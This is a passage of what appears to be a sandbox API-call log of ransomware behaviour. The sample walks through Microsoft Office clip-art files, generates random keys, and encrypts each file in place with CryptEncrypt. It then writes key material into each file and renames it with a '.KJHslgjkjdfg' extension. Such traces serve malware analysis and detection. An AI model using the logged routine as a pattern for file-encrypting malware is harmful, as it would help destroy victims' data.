out: lpNewFilePointer=0x0) returned 1 [0216.138] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b74, lpOverlapped=0x0) returned 1 [0216.139] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b80) returned 1 [0216.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.139] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b80, lpOverlapped=0x0) returned 1 [0216.139] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.139] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.139] SetEndOfFile (hFile=0x130) returned 1 [0216.142] GetProcessHeap () returned 0x2ef0000 [0216.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.142] GetProcessHeap () returned 0x2ef0000 [0216.142] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.kjhslgjkjdfg")) returned 1 [0216.143] CloseHandle (hObject=0x130) returned 1 [0216.144] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1 [0216.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.145] GetProcessHeap () returned 0x2ef0000 [0216.145] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.145] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.145] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0216.147] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.147] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.147] GetProcessHeap () returned 0x2ef0000 [0216.147] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.147] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.147] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.147] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.147] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.147] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.148] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.148] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.148] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.148] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.148] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40412, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x40412, lpOverlapped=0x0) returned 1 [0216.153] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40420, dwBufLen=0x40420 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40420) returned 1 [0216.156] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.156] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40420, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x40420, lpOverlapped=0x0) returned 1 [0216.157] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.157] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x404f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.157] SetEndOfFile (hFile=0x130) returned 1 [0216.160] GetProcessHeap () returned 0x2ef0000 [0216.160] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.160] GetProcessHeap () returned 0x2ef0000 [0216.160] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.kjhslgjkjdfg")) returned 1 [0216.163] CloseHandle (hObject=0x130) returned 1 [0216.163] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1 [0216.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.165] GetProcessHeap () returned 0x2ef0000 [0216.165] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.165] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.165] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0216.167] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.167] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.167] GetProcessHeap () returned 0x2ef0000 [0216.167] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.167] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.167] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.167] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.168] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.168] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.168] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.168] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.168] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.168] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b16e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b16e, lpOverlapped=0x0) returned 1 [0216.171] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b170, dwBufLen=0x2b170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b170) returned 1 [0216.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.173] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b170, lpOverlapped=0x0) returned 1 [0216.174] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.174] SetEndOfFile (hFile=0x130) returned 1 [0216.178] GetProcessHeap () returned 0x2ef0000 [0216.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.178] GetProcessHeap () returned 0x2ef0000 [0216.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.178] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.kjhslgjkjdfg")) returned 1 [0216.180] CloseHandle (hObject=0x130) returned 1 [0216.180] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1 [0216.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.182] GetProcessHeap () returned 0x2ef0000 [0216.182] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.182] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.182] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.182] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0216.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.186] GetProcessHeap () returned 0x2ef0000 [0216.186] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.186] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.186] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.187] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.187] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4e82, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4e82, lpOverlapped=0x0) returned 1 [0216.190] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e90, dwBufLen=0x4e90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4e90) returned 1 [0216.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.190] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4e90, lpOverlapped=0x0) returned 1 [0216.190] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.190] SetEndOfFile (hFile=0x130) returned 1 [0216.193] GetProcessHeap () returned 0x2ef0000 [0216.193] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.193] GetProcessHeap () returned 0x2ef0000 [0216.193] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.kjhslgjkjdfg")) returned 1 [0216.195] CloseHandle (hObject=0x130) returned 1 [0216.195] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1 [0216.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.196] GetProcessHeap () returned 0x2ef0000 [0216.196] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.197] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.197] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0216.201] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.201] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.202] GetProcessHeap () returned 0x2ef0000 [0216.202] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.202] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.202] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.202] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.202] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4ada, lpOverlapped=0x0) returned 1 [0216.204] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ae0) returned 1 [0216.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.204] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4ae0, 